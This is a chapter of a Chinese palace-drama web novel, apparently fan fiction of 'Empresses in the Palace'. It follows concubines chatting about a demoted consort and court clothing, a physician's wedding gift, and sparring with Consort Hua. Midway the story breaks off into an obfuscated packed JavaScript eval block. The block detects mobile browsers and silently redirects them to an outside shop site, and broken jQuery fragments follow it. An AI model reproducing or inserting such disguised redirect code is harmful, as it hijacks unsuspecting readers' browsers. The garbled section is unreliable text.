文趣网 > 其他小说 > 甄嬛传之娘娘万福金安 > 31. 伶牙俐齿
    白藏瞧这蔫头耷脑趴在引枕上的人,不解的看向安陵容。

    “她这是怎么了?”

    安陵容看着无精打采的夏冬春,轻轻一叹。

    “是被费答应那事吓着了。”

    “吓着了?”白藏不觉得看向这个便宜表妹,“又不是你做的,你为何被吓着?”

    “表姐,费答应之前可是嫔位啊,咱们进宫才几天,就这么啪嗒一下没了,没了哎,那可是嫔位。”

    “费答应是自己立身不正,你又未做那害人的事,有什么可怕的?”白藏道:“况且那费答应现在不还是活的好好的,既没有住冷宫也没有被刻扣,我听说华妃娘娘多有照顾呢,做了那样的事,这般结果已经是最好的了。”

    “可是……”夏冬春叹气,“我还是害怕。”

    “会害怕是好事,既然怕就要吸取前车之鉴,莫要让自己走入这种境地,知道了吗。”

    白藏能把人搂过来,轻拍着她安抚。

    “不怕,只要咱们心思正,不做那害人的事情,就不会有事。”

    “姐姐说的是,夏姐姐咱们不怕的。咱们又没有做那些坏事,再者说费答应做地是暗害嫔妃的事,这事本来是死罪,皇上如今已经是念着情分法外开恩了。”

    安陵容看得很清,这种事若是轻轻放过,那他们这些低位的嫔妃还有什么活路。

    “我知道,就是没想到宫里居然会有这样的事。”

    夏冬春还是被家人保护的太好了,做事也都习惯以武以势压人,这种阴私手段少见,故而亲眼看到一位嫔位,就这么废了,才真的明白这后宫争宠有多可怕。

    “早知道就不进宫来了。”

    白藏轻拍了她一下,“说什么混话,让人知道了,还以为你想抗旨呢。”

    “嗯,知道了,我不说就是了。”夏冬春声音闷闷的。

    “好了,你如今都已经侍寝了,这种有的没的不要多想,安安心心的侍候好皇上,不去掺和那些乱七八糟的事情,会安稳的。”

    安陵容见气氛不好,便转了话题。

    “姐姐,你的脚伤养的如何了?”

    “快好了,再养一些时日,听太医说等崴到的地方,脱了皮就好了。”

    她这脚呀顶多再拖个几日,也不知道甄嬛那个病,能不能好。

    “那便好,姐姐以后可要小心才是。”

    “放心吧,没那么倒霉。”

    白藏看看窗外,“这天气越发的冷了,你们的厚衣裳都准备了吗?”

    说起这个,夏冬春一下子就绷起来也不蔫巴了。

    “说起这个我就气,针线房给我送的那些衣服,又肥又大的,我都怀疑这些人,是怎么选进针线局的。”

    “嗯?”

    白藏看向安陵容,安陵容也轻轻叹了口气。

    “夏姐姐说的没错,我的衣服也是又肥又大,还是拿回来带着青莲和青荷一起给改了,才合身。”

    白藏了然,说起来她来的这个地方,是属于剧版与历史结合起来的。

    就是那个剧情吧,大体上是那个走向人也是那个人,但是各种的服化和规矩吧,又和历史上相似又不相似。

    比如看电视剧中,剧中的娘娘都是不穿衬衣的,但这里是穿的。

    虽然有衬衣,但是这形制上又与雍正时期不太同,因为依旧像剧中那般宽袖镶边。

    但你若说这里的衣服和剧中的一样吧,他又不一样,因为衣服上的花纹,又是按照历史上来规定的。

    有种融合之感。

    其实针线房做的衣服,是比较符合形制的,但她进宫时所有的衣服,都是命家中针线房,按照自己的审美给改的。

    夏冬春觉得好看,也借了样子,回家让家中的针线房照着做。

    安陵容呢,进宫后一直和白藏他们在一块,这服装上自然也是有影响的,也都自己带着人改了。

    这两个人以为这宫中内务府的针线房,怎么着应该都是最好的吧,结果做出来的衣服,只能说能穿不逾矩,但好看是真没多好看。

    “你们没让人拿着衣服的样子,给针线房打赏。”

    安陵容,夏冬春皱着眉眼。

    “我以为这宫中的针线房,都是最好的呢,哪知道还不如我们自己做的好看。”

    “你们呀,又犯了想当然的错了吧。”白藏笑着摇头,“这宫里头人做事,不求新鲜上进,就求一个不出错。你没有特别打赏,也没有告知自己喜欢的样式,那自然就是按照老规矩来了。”

    “这会知道了。”夏冬春嘟着嘴不高兴。

    安陵容也是点着头,“还真是吃一堑长一智。”

    “有这次就知道了,这宫里只要你不打赏不着重吩咐,基本上都是按惯例来,所以咱们不能想当然。”

    二人都是点头。

    “不过这次针线房,送衣服过来我才发现,咱们刚进宫那会儿,那些嫔妃们穿的衣服,好像也都是挺宽松肥大的,这些天看着倒是和咱们的衣服,差不多了,瞧着都挺合身的。”夏冬春忽然道。

    安陵容想了想,“好像还真是,刚进宫的时候瞧这娘娘们的衣服,穿着都挺宽松的,这次换季之后,就这衣服都合身了好些。”

    夏冬春发现了华点,“表姐,你说那些娘娘们,是不是在学我们?”

    “什么学不学的,好看的事物谁都喜欢,大家都打扮的漂漂亮亮的,咱们看着不也赏心悦目。”

    她倒是没想到,穿了一回倒成了一把潮流的先峰了。

    “这倒是排除那些阴阳怪气的话,谁不喜欢看美人儿。”夏冬春向后一靠,“要是这些人不张嘴就好了。”

    “又混说。”

    他们这三人正在享受着难得的后宫平静,结果没几天又不消停了。

    沈眉庄和敬嫔,被罚了一个月的月例,原因是沈眉庄请安去晚了。

    晚了一次这当个事儿,明显是华妃拿这个事当伐子,就是想治沈眉庄,甄嬛现在她不好动手,但是这沈眉庄,她倒是可以出一下气。

    而且听消息,华妃回去后又把富察贵人叫到了宫中,磨了一个时辰的墨。

    白藏听到这个消息,看看自己该好的脚。

    愁人啊,女主你啥时候病愈啊。

    白藏也算是想什么来什么,又过了三日,甄嬛的病在两位太医联手治疗下好了。

    对甄嬛而言,这样也没什么不好,通过丽嫔一事,她知晓与皇上的情分还是有些浅,她需要在皇上的心中分量更重才行。

    白藏松了口气,过两天温实初来看病,她也病愈吧。

    “小主的脚伤已经痊愈了。”

    白藏轻嗯了声,“这段时间辛苦温太医了。”

    “不敢,都是微臣该做的。”

    温实初回了句,便静静的等待

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730540|208938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “我这没什么事了,温太医且去忙吧。”

    正等着问话的温实初有些诧异,看着端着热茶正在品着白藏,咬了下牙开口。

    “小主,奴才的婚期,订在来年二月春。”

    白藏喝茶的动作一顿,对了,还有这事儿她都忘了。

    “如此便恭喜温太医了,丹若去库房将那炳小银如意取来,送与温太医做贺礼。”

    丹若奉命取来一个小盒子,盒子中正是那枚小银如意。银如意不大,只有成人手掌那般大小,作为贺礼赏赐下去,既不逾规意义又好。

    “臣谢贵人赏。”

    “娶了妻子便要好好待人家,新妇可没做什么对不起你的事,反而是你,利用了人,可真不是君子所为啊。”

    白藏冷声敲打,毕竟她掺和了这事儿,让一个女子嫁一个心有所属之人,她感觉自己功德都减半了,真是良心不安。

    温实初如果能回嘴的话,肯定想说,他为什么会利用还不是因为你,可惜呀他不敢说,无论是身份还是把柄,可都捏在白藏的手心里。

    “回去吧好好准备你的婚礼,以后好好和自己的妻子过日子,让你父亲早日抱上孙子,宫中的事少掺和,做好你太医的本分。”

    “是,微臣谢贵人教诲。”

    丹若好奇,“小主,你怎么对温太医的事这么上心。”

    “就是圣母心泛滥了下,多管闲事。”

    “啊?”

    白藏没有再说什么,瞧着自己的脚出神,该来的总归还是要来的。

    第二日掐着时间点,白藏去景仁宫请安。

    皇后看着俏生生的白藏笑道:“可算是好了,瞧着你气色不错,想来是养的挺好。”

    “谢皇后娘娘关心,托娘娘的福,臣妾才能养得这般好。”

    华妃哼笑,“这养的也太好了些,白里透红的,一点都不像莞贵人大病初愈的模样。”

    看来华妃今儿个心情不好啊,白藏微微一笑语气轻快而温顺。

    “回华妃娘娘,嫔妾只是崴了脚,并非是什么消耗人的重疾,都说以形补形,这段日子一直喝着大骨头汤,养的皮肉红润了些,也是应当的。”

    皇后闻言轻轻笑,“还是玉贵人通透,脚伤本就靠养,多进些滋补汤水自然好得快。往后可要仔细着些,别再莽撞了。”

    华妃却不肯就此作罢,冷笑一声:“皇后娘娘这两年愈发的仁善了,前有莞贵人生个病,都要院正去看,日日滋补的汤药喝着。后有玉贵人崴个脚,都能日日喝得上好骨汤,倒比咱们这些正经主位还要精细了。”

    白藏了然,看来是这几日皇上夜夜宿在碎玉轩,让华妃又不爽了。

    唉,华妃娘娘啊,你最该管的不应该是皇帝嘛,找他们这些小嫔妃有什么用,那皇上要招谁侍寝他们那能管得了。

    这般想着还是垂着眼睫,声音柔和道:“华妃娘娘说笑了。嫔妾这汤汤水水,不过是寻常滋补,哪里敢与娘娘相比。娘娘身居高位,享用的皆是皇上特意赏赐的上等贡品,各种山珍海味,嫔妾这些骨头汤哪能比。”

    说到这里才抬眼望向华妃,笑容温顺,“再说嫔妾若是气色太差,反倒叫皇上、皇后娘娘还有华妃娘娘您惦记,倒不如养得精神些,也省得宫里人跟着忧心。”

    华妃斜过眼,“从你进宫便一病二伤的,我倒是不晓得你居然这般伶牙俐齿。